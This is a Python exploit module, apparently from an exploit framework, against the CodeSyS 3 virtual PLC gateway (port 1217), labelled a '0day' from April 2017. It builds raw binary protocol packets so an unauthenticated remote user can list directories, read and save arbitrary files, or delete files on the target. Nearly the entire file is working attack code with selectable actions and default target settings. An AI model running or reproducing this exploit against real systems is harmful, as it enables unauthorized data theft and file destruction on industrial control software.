#!/usr/bin/env python

import socket
import struct
import time
from collections import OrderedDict
from Sploit import Sploit

INFO = {}
INFO['NAME'] = 'efs_codesys3_files_manipulation'
INFO['DESCRIPTION'] = '3S Software CodeSyS Arbitrary Files Manipulation'
INFO['VENDOR'] = 'https://www.codesys.com/'
INFO['CVE Name'] = '0day'
INFO['DOWNLOAD_LINK'] = 'http://store.codesys.com/codesys.html#Alle Versionen'
INFO['LINKS'] = []
INFO['CHANGELOG'] = '21 Apr 2017'
INFO['PATH'] = 'General/'
INFO['NOTES'] = """Enabled virtual PLC allows to read arbitrary file, directory list, remove file.\
 Filepath is must be relative to "%CODESYS_PATH%/GatewayPLC/" or absolute.
Tested against CodeSyS 3.5.7 Patch 4 and 3.5.10 Patch 3 on Windows 7 SP1 x64.
"""

OPTIONS = OrderedDict()
OPTIONS['HOST'] = '192.168.1.176'
OPTIONS['PORT'] = 1217
OPTIONS['ACTION'] = dict(options=['List directory', 'Read file', 'Remove file'], selected='Read file')
OPTIONS['FILENAME/DIRNAME'] = '/test.html'


class exploit(Sploit):
    def __init__(self,host="",
                port=0, ssl=False,
                logger=None):
        Sploit.__init__(self, logger=logger)
        self.name = INFO['NAME']

    def args(self):
        self.args = Sploit.args(self, OPTIONS)
        self.host = self.args.get('HOST', OPTIONS['HOST'])
        self.port = self.args.get('PORT', OPTIONS['PORT'])
        self.filename = str(self.args.get('FILENAME/DIRNAME', OPTIONS['FILENAME/DIRNAME']))
        self.action = self.args.get('ACTION', OPTIONS['ACTION'])

    def connect(self):
        self.log('[*] Connecting to virtual device')
        data = '6b6a77b601000100493837080400000001000000'.decode('hex')
        self.sock.send(data)
        self.sock.recv(4000)
        self.sock.recv(4000)

        data = '6b6a77b6010002004938370800000000'.decode('hex')
        self.sock.send(data)
        self.sock.recv(4000)

        op = int(self.host.split('.').pop())
        data = '6b6a77b6030001004a3837085200000000000000010000'.decode('hex')
        data += chr(op)
        data += '0000000000000000000000000000000000000000000000000000000000401f000000000000000000' \
               '00000000000000000000000000000000000000000000000000000000000000000000'.decode('hex')
        try:
            self.sock.send(data)
            self.sock.recv(4000)
            data = self.sock.recv(4000)
        except:
            self.log('[-] Can\'t connect to virtual device')
            self.finish(False)
        self.id_1 = data[0]
        data = '6b6a77b603000300ef47380828000000'.decode('hex')
        data += self.id_1
        data += '0000002000000055cd0c0001000200110000001000000022848000010000008101840010020000'.decode('hex')
        self.sock.send(data)
        self.sock.recv(4000)
        data = self.sock.recv(4000)
        self.id_2 = data[-4:]

    def check_file(self):
        self.log('[*] Checking file %s' % self.filename)
        footer = '\x01' + struct.pack('B', len(self.filename) + 0x81) + '\x80\x00' + self.filename + '\x00' * 9
        footer = '\x55\xcd\x0c\x00\x08\x00\x01\x00' + self.id_2 + struct.pack('B', len(footer)) + '\x00\x00\x00' + footer
        footer = self.id_1 + '\x00' * 3 + struct.pack('B', len(footer)) + '\x00' * 3 + footer
        data = '\x6b\x6a\x77\xb6\x03\x00\x03\x00\xee\x21\x37\x08' + struct.pack('B',
                                                                                len(footer)) + '\x00\x00\x00' + footer
        self.sock.send(data)
        data = self.sock.recv(16)
        length = struct.unpack('I', data[-4:])[0]
        data = self.sock.recv(length)
        if self.filename not in data:
            self.log('[-] File %s is not exists on remote host' % self.filename)
            self.finish(False)
        self.log('[+] File %s is exists on remote host' % self.filename)
        filesize = struct.unpack('I', data[32:36])[0]
        return filesize

    def open_file(self):
        self.log('[*] Trying to open file %s' % self.filename)
        footer = '\x01' + struct.pack('B', len(self.filename) + 0x81) \
                 + '\x80\x00' + self.filename + '\x00\x02\x88\x80' + '\x00' * 9
        footer = '\x55\xcd\x0c\x00\x08\x00\x05\x00' + self.id_2 + struct.pack('B', len(footer)) + '\x00\x00\x00' + footer
        footer = self.id_1 + '\x00' * 3 + struct.pack('B', len(footer)) + '\x00' * 3 + footer
        data = '\x6b\x6a\x77\xb6\x03\x00\x03\x00\xef\x21\x37\x08' + struct.pack('B',
                                                                                len(footer)) + '\x00\x00\x00' + footer
        self.sock.send(data)
        data = self.sock.recv(16)
        length = struct.unpack('I', data[-4:])[0]
        data = self.sock.recv(length)
        # filesize = struct.unpack('I', data[32:36])[0]
        file_ptr = data[-8:-4]
        return file_ptr

    def dir_list(self):
        from cStringIO import StringIO
        import datetime
        import pprint
        self.log('[*] Trying to list dir %s' % self.filename)
        footer = '\x00'*4 + '\x0b' + struct.pack('B', len(self.filename) + 0x84) \
                 + '\x80\x00' +self.filename + '\x00' * 4
        footer = '\x55\xcd\x10\x00\x08\x00\x0c\x00' + self.id_2 + struct.pack('B', len(footer)) + '\x00\x00\x00' + footer
        footer = self.id_1 + '\x00' * 3 + struct.pack('B', len(footer)) + '\x00' * 3 + footer
        data = '\x6b\x6a\x77\xb6\x03\x00\x03\x00\xef\x21\x37\x08' + struct.pack('B',
                                                                                len(footer)) + '\x00\x00\x00' + footer
        self.sock.send(data)
        data = self.sock.recv(16)
        length = struct.unpack('I', data[-4:])[0]
        data = self.recv_all(length, 1460)
        data = StringIO(data[28:])
        files = []
        data.read(1)
        length = data.read(1)
        while length != '' and length != '\x00':
            leng = struct.unpack('B', length)[0]
            name = data.read(leng).replace('\x00', '')
            if not name:
                break
            data.read(12)
            timestamp = datetime.datetime.fromtimestamp(struct.unpack('I', data.read(4))[0])\
                .strftime('%Y-%m-%d %H:%M')
            filesize = struct.unpack('I', data.read(4))[0]
            is_dir = 'dir' if struct.unpack('I', data.read(4))[0] == 2 else 'file'
            files.append((name, is_dir, str(filesize) + ' Bytes' if filesize else ''))
            data.read(13)
            length = data.read(1)
        self.log(self.make_table(header=['Name', 'Type', 'Size'], data=files))
        return files

    def make_table(self, header=None, data=None):
        tmp = header + data
        max_fields_width = []
        for i in range(len(header)):
            max_fields_width.append(len(max(tmp, key=lambda x: len(x[i]))[i]) + 3)
        horizontal = '+' + '+'.join('-' * width for width in max_fields_width) + '+\r\n'
        output = '\r\n' + horizontal
        output += '|' + '|'.join(header[i].center(width) for i, width in enumerate(max_fields_width)) + '|\r\n'
        output += horizontal
        sorted_data = sorted(data, key=lambda x: (x[1], x[0]))
        for entry in sorted_data:
            output += '|' + '|'.join(entry[i].ljust(width) for i, width in enumerate(max_fields_width)) + '|\r\n'
        output += horizontal
        return output


    def read_file_by_ptr(self, file_ptr, filesize):
        def read():
            data = '6b6a77b603000300f021370824000000'.decode('hex')
            data += self.id_1 + '0000001c00000055cd0c0008000700'.decode('hex') + self.id_2 + '0c00000005888000'.decode(
                'hex') + file_ptr + '00000000'.decode('hex')
            self.sock.send(data)
            data = self.sock.recv(16)
            length = struct.unpack('I', data[-4:])[0]
            data = self.recv_all(length, 1460)[34:]
            return data
        content = read()
        while content and len(content) < filesize:
            content += read()
        self.log('[+] Recieved file contents')
        if len(content) < 10000:
            self.log('\r\n' + content)
        self.writefile(content, self.filename.replace('\\', '/').split('/').pop())

    def remove_file(self):
        self.log('[*] Trying to remove file %s' % self.filename)
        footer = '\x00'*4 + '\x01' + struct.pack('B', len(self.filename) + 0x83) \
                 + '\x80\x00' + self.filename + '\x00' * 3
        footer = '\x55\xcd\x0c\x00\x08\x00\x0e\x00' + self.id_2 + struct.pack('B',
                                                                              len(footer)) + '\x00\x00\x00' + footer
        footer = self.id_1 + '\x00' * 3 + struct.pack('B', len(footer)) + '\x00' * 3 + footer
        data = '\x6b\x6a\x77\xb6\x03\x00\x03\x00\xef\x21\x37\x08' + struct.pack('B',
                                                                                len(footer)) + '\x00\x00\x00' + footer
        self.sock.send(data)
        data = self.sock.recv(16)
        length = struct.unpack('I', data[-4:])[0]
        data = self.sock.recv(length)
        # filesize = struct.unpack('I', data[32:36])[0]
        file_ptr = data[-8:-4]
        return file_ptr

    def recv_all(self, length, chunk=1024):
        data = ''
        while length:
            if length <= chunk:
                data += self.sock.recv(length)
                break
            data += self.sock.recv(chunk)
            length -= chunk
        return data

    def run(self):
        #Get options from gui
        self.args()
        self.sock = socket.socket()
        self.log('[*] Connecting to %s:%s' % (self.host, self.port))
        self.sock.connect((self.host, self.port))
        self.connect()
        if self.action == 'List directory':
            self.dir_list()
        elif self.action == 'Read file':
            filesize = self.check_file()
            file_ptr = self.open_file()
            self.read_file_by_ptr(file_ptr, filesize)
        elif self.action == 'Remove file':
            self.remove_file()
        self.finish(True)


if __name__ == '__main__':
    print "Running exploit %s .. " % INFO['NAME']
    e = exploit("192.168.0.1", 80)
    e.run()